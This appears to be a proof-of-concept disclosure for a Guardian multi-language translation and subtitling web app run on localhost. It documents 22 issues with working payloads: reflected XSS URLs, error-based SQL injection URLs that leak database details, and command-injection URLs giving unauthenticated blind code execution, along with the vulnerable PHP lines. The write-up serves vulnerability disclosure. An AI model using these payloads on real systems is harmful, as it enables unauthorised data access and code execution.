the_guardian_system_poc

the_guardian_system_poc.txt

Vulnerabilities on The Guardian (UK Media/Newspaper) "The Multi-Language Automatic Translation, Subtitling, and Voice Rendering System" https://github.com/guardian/language-system June 2026

Some vulnerabilities require authentication.
http://localhost:8080/login.php

To login as a guest:
username:
guest
password:
language

Vulnerabilities explained below. Each section will show how to reproduce the issue and the relevant code.

Vulnerabilities POC Table of Contents
1. Reflected XSS on designer.php?name= (must be logged in)
2. Reflected XSS on text_file.php?id=  (must be logged in)
3. Reflected XSS on media.php?id=  (must be logged in)
4. SQL Injection (SQLI) on job_info.php?id=  (no authentication required)
5. SQLi on media.php?id=  (must be logged in)
6. SQLi on text_file.php?id=  (must be logged in)
7. SQLi on job_info_get.php?id= (must be logged in)
8. SQLi on subtitles.php?id= (must be logged in)
9. SQLi on designer.php?name= (must be logged in)
10. SQLi on translate_text.php?id= (must be logged in)
11. Blind Remote code execution (RCE) on subtitles.php?id=  (no authentication required)
12. Blind Remote code execution (RCE) on translate.php?id=  (no authentication required)
13. Blind Remote code execution (RCE) on text.php?id=  (no authentication required)
14. Blind Remote code execution (RCE) on speech.php?id=  (no authentication required)
15. Blind Remote code execution (RCE) on complex_start.php?id=  (no authentication required)
16. Blind Remote code execution (RCE) on speechmac_text.php?id=  (no authentication required)
17. Blind Remote code execution (RCE) on speechmac.php?id=  (no authentication required)
18. Blind Remote code execution (RCE) on speech_text.php?id=  (no authentication required)
19. Blind Remote code execution (RCE) on translate_text.php?id=  (no authentication required)
20. Blind Remote code execution (RCE) on transcribe_amazon.php?id=  (no authentication required)
21. Blind Remote code execution (RCE) on transcribe.php?id=  (no authentication required)
22. Blind Remote code execution (RCE) on text_to_subtitles.php?id=  (no authentication required)


Vulnerability 1. Reflected XSS on designer.php?name= (must be logged in)

Login using this username and password:
guest
language
http://localhost:8080/login.php

Then enter the payload:
http://localhost:8080/designer.php?name=123%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Payload reflects in page source


SOURCE CODE ANALYSIS:
https://github.com/guardian/language-system/blob/master/src/designer.php#L57
Line 57
<input type="text" size="80" name="newname" value="<?php echo $_GET['name'];?>">


Vulnerability 2. Reflected XSS on text_file.php?id=  (must be logged in)

Login using this username and password:
guest
language
http://localhost:8080/login.php

Enter the payload:
http://localhost:8080/text_file.php?id=123%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Payload reflects in the page source 6 times.

SOURCE CODE ANALYSIS:

https://github.com/guardian/language-system/blob/master/src/text_file.php

line 94
echo '<form class="form" action="text_to_subtitles.php?id='.$_GET['id'].'" method="POST">';
line 101
echo '<form class="form" action="translate_text.php?id='.$_GET['id'].'&type=t" method="POST">';
line 323
echo '<form class="form" action="speech_text.php?id='.$_GET['id'].'&type=t" method="POST">';
line 403
echo '<form class="form" action="speechmac_text.php?id='.$_GET['id'].'&type=t" method="POST">';
line 826
echo '<form class="form" action="complex_start.php?id='.$_GET['id'].'&type=t" method="POST">';
line 852
echo '<form class="form" action="uploadsubtitles.php?id='.$_GET['id'].'" method="post" enctype="multipart/form-data">';


Vulnerability 3. Reflected XSS on media.php?id=  (must be logged in)

Login using this username and password:
guest
language
http://localhost:8080/login.php

Enter the payload:
http://localhost:8080/media.php?id=123%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Payload reflects in page source 2 times.

SOURCE CODE ANALYSIS:

https://github.com/guardian/language-system/blob/master/src/media.php

Line 119:
echo '<source src="'.getenv('LANGUAGE_UPLOADS').'/'.$_GET['id'].'/'.$media[1].'" type="video/mp4">';

AND

line 129
echo '<form class="form" action="transcribe.php?id='.$_GET['id'].'" method="POST">';


Vulnerability 4. SQL Injection (SQLI) on job_info.php?id=  (no authentication required)

Normal request:
http://localhost:8080/job_info.php?id=123

Break syntax request:
http://localhost:8080/job_info.php?id=123'

Database version SQLi reveal
http://localhost:8080/job_info.php?id=123' AND GTID_SUBSET(@@version,0) -- -

http://localhost:8080/job_info.php?id=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -


SQLI user leak
http://localhost:8080/job_info.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -

SQLI database name
http://localhost:8080/job_info.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -

SOURCE CODE ANALYSIS:

Line 16:
https://github.com/guardian/language-system/blob/master/src/job_info.php#L16

$result = mysqli_query($database, "SELECT * FROM jobs where id = '".$_GET['id']."' ORDER BY id DESC limit 1");


Vulnerability 5. SQLi on media.php?id=  (must be logged in)

Normal request
http://localhost:8080/media.php?id=123

Break syntax request:
http://localhost:8080/media.php?id=123'

Database version SQLi reveal
http://localhost:8080/media.php?id=123' AND GTID_SUBSET(@@version,0) -- -

http://localhost:8080/media.php?id=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -

SQLI user leak
http://localhost:8080/media.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -

SQLI database name
http://localhost:8080/media.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -


SOURCE CODE ANALYSIS:

Line 17
https://github.com/guardian/language-system/blob/master/src/media.php#L17

$result = mysqli_query($database, "SELECT id, filename, extension, type, duration, owner, private FROM files where id = '".$_GET['id']."'");


Vulnerability 6. SQLi on text_file.php?id=  (must be logged in)

Normal request
http://localhost:8080/text_file.php?id=123

Break syntax request:
http://localhost:8080/text_file.php?id=123'

Database version SQLi reveal
http://localhost:8080/text_file.php?id=123' AND GTID_SUBSET(@@version,0) -- -




http://localhost:8080/text_file.php?id=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -

SQLI user leak
http://localhost:8080/text_file.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -

SQLI database name
http://localhost:8080/text_file.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -

SOURCE CODE ANALYSIS:

Line 17
https://github.com/guardian/language-system/blob/master/src/text_file.php#L17
$result = mysqli_query($database, "SELECT id, filename, extension, type, duration, owner, private FROM files where id = '".$_GET['id']."'");


Vulnerability 7. SQLi on job_info_get.php?id (must be logged in)

Normal request (it redirects to media.php)
http://localhost:8080/job_info_get.php?id=123

Break syntax request:
http://localhost:8080/job_info_get.php?id=123'


Database version SQLi reveal
http://localhost:8080/job_info_get.php?id=123' AND GTID_SUBSET(@@version,0) -- -

http://localhost:8080/job_info_get.php?id=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -


SQLI user leak
http://localhost:8080/job_info_get.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -

SQLI database name
http://localhost:8080/job_info_get.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -


SOURCE CODE ANALYSIS:

Line 16
https://github.com/guardian/language-system/blob/master/src/job_info_get.php#L16
$result = mysqli_query($database, "SELECT * FROM jobs where input1 = '".$_GET['id']."' and user = '".$login_session."' ORDER BY id DESC limit 1");



Vulnerability 8. SQLi on subtitles.php?id= (must be logged in)

Normal request (it redirects to media.php)
http://localhost:8080/subtitles.php?id=123

Break syntax request:
http://localhost:8080/subtitles.php?id=123'

Database version SQLi reveal
http://localhost:8080/subtitles.php?id=123' AND GTID_SUBSET(@@version,0) -- -

http://localhost:8080/subtitles.php?id=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -

SQLI user leak
http://localhost:8080/subtitles.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -

SQLI database name
http://localhost:8080/subtitles.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -

SOURCE CODE ANALYSIS:

Line 16
https://github.com/guardian/language-system/blob/master/src/subtitles.php#L16
$result = mysqli_query($database, "SELECT id, filename, extension, type FROM files where id = '".$_GET['id']."'");

Vulnerability 9. SQLi on designer.php?name= (must be logged in)

Normal request
http://localhost:8080/designer.php?name=123

Break syntax request (scroll to bottom of page source if using browser instead of curl)
http://localhost:8080/designer.php?name=123'

Database version SQLi reveal
http://localhost:8080/designer.php?name=123' AND GTID_SUBSET(@@version,0) -- -
http://localhost:8080/designer.php?name=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -

SQLI user leak
http://localhost:8080/designer.php?name=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -
SQLI database name
http://localhost:8080/designer.php?name=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -

SOURCE CODE ANALYSIS:

Line 124
https://github.com/guardian/language-system/blob/master/src/designer.php#124

$result = mysqli_query($database, "SELECT * FROM complex WHERE name='".$_GET['name']."' ORDER BY id");


Vulnerability 10. SQLi on translate_text.php?id= (must be logged in)

Normal request (it redirects to job_info.php)
http://localhost:8080/translate_text.php?id=123

Break syntax request
http://localhost:8080/translate_text.php?id=123'

Database version SQLi reveal
http://localhost:8080/translate_text.php?id=123' AND GTID_SUBSET(@@version,0) -- -

http://localhost:8080/translate_text.php?id=123' AND GTID_SUBSET(CONCAT('a',(SELECT @@version),'b'),0) -- -

SQLI user leak
http://localhost:8080/translate_text.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),1337) -- -

SQLI database name
http://localhost:8080/translate_text.php?id=123' AND GTID_SUBSET(CONCAT(0x7e,(SELECT database()),0x7e),1337)-- -

SOURCE CODE ANALYSIS:

Line 15
https://github.com/guardian/language-system/blob/master/src/translate_text.php#L15

$result = mysqli_query($database, "SELECT id, filename, extension, type FROM files where id = '".$_GET['id']."'");


Vulnerability 11. Blind Remote code execution (RCE) on subtitles.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So I confirm it via checking the file system for the container.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/subtitles.php?id=123; touch /tmp/rce_proof_subtitles2.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 19
https://github.com/guardian/language-system/blob/master/src/subtitles.php#L19

exec("php jobs/subtitle_rendering.php ".$login_session." ".$_GET['id']." ".$media[1]." ".$_POST['subtitles']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 12. Blind Remote code execution (RCE) on translate.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it is confirmed it via checking the file system for the container.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/translate.php?id=123; touch /tmp/rce_proof_translate_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 14
https://github.com/guardian/language-system/blob/master/src/translate.php#L14

exec("php jobs/translate.php ".$login_session." ".$_GET['id']." ".$_POST['subtitles']." ".$_POST['source']." ".$_POST['target']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 13. Blind Remote code execution (RCE) on text.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So confirm it via checking the file system for the container.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/text.php?id=123; touch /tmp/rce_proof_text_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 15
https://github.com/guardian/language-system/blob/master/src/text.php#L15

exec("php jobs/text.php ".$login_session." ".$_GET['id']." ".$_GET['file']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.



Vulnerability 14. Blind Remote code execution (RCE) on speech.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/speech.php?id=123; touch /tmp/rce_proof_speech_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 18
https://github.com/guardian/language-system/blob/master/src/speech.php#L18

exec("php jobs/speech_audio.php ".$login_session." ".$_GET['id']." ".$_POST['subtitles']." ".$_POST['language']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 15. Blind Remote code execution (RCE) on complex_start.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/complex_start.php?id=123; touch /tmp/rce_proof_complexstart_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 14
https://github.com/guardian/language-system/blob/master/src/complex_start.php#L14

exec("php jobs/complex.php ".$login_session." ".$_GET['id']." ".$_POST['job']." ".$_POST['subtitles']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 16. Blind Remote code execution (RCE) on speechmac_text.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/speechmac_text.php?id=123; touch /tmp/rce_proof_speechmactext_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 18
https://github.com/guardian/language-system/blob/master/src/speechmac_text.php#L18

exec("php jobs/speech_audio_mac_text.php ".$login_session." ".$_GET['id']." ".$_POST['voice']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 17. Blind Remote code execution (RCE) on speechmac.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/speechmac.php?id=123;%20touch%20/tmp/rce_proof_speechmac_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 18
https://github.com/guardian/language-system/blob/master/src/speechmac.php#L18

exec("php jobs/speech_audio_mac.php ".$login_session." ".$_GET['id']." ".$_POST['subtitles']." ".$_POST['voice']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 18. Blind Remote code execution (RCE) on speech_text.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/speech_text.php?id=123;%20touch%20/tmp/rce_proof_speechtext_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 18
https://github.com/guardian/language-system/blob/master/src/speech_text.php#L18

exec("php jobs/speech_audio_text.php ".$login_session." ".$_GET['id']." ".$_POST['language']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 19. Blind Remote code execution (RCE) on translate_text.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/translate_text.php?id=123;%20touch%20/tmp/rce_proof_translatetext_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created


SOURCE CODE ANALYSIS:
Line 18
https://github.com/guardian/language-system/blob/master/src/translate_text.php#L18

exec("php jobs/translate_text.php ".$login_session." ".$_GET['id']." ".$file_data[1]." ".$_POST['source']." ".$_POST['target']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 20. Blind Remote code execution (RCE) on transcribe_amazon.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/transcribe_amazon.php?id=123;%20touch%20/tmp/rce_proof_transcribeamazon_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 15
https://github.com/guardian/language-system/blob/master/src/transcribe_amazon.php#L15

exec("php jobs/transcribe_amazon.php ".$login_session." ".$_GET['id']." ".$_POST['source']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.


Vulnerability 21. Blind Remote code execution (RCE) on transcribe.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/transcribe.php?id=123;%20touch%20/tmp/rce_proof_transcribe_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created

SOURCE CODE ANALYSIS:
Line 15
https://github.com/guardian/language-system/blob/master/src/transcribe.php#L15

exec("php jobs/transcribe.php ".$login_session." ".$_GET['id']." ".$_POST['source']." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.



Vulnerability 22. Blind Remote code execution (RCE) on text_to_subtitles.php?id=  (no authentication required)

This attack can be performed as an unauthenticated user, or as authenticated. However it doesn't show the output of the command on the page source/GUI of the app. So it can be confirmed via checking the file system.

Payload (example of RCE - creating text file in /tmp folder)
http://localhost:8080/text_to_subtitles.php?id=123;%20touch%20/tmp/rce_proof_texttosubtitles_unauthenticated.txt

After submitting that request, the app will automatically redirect to job_info.php

Then check the file's existence in the Docker container

cd /tmp
ls
and it should show the file just created


SOURCE CODE ANALYSIS:
Line 19
https://github.com/guardian/language-system/blob/master/src/text_to_subtitles.php#L19

exec("php jobs/text_to_subtitles.php ".$login_session." ".$_GET['id']." ".$media[1]." >&- <&- >/dev/null &");

So the command can be taken from the id parameter.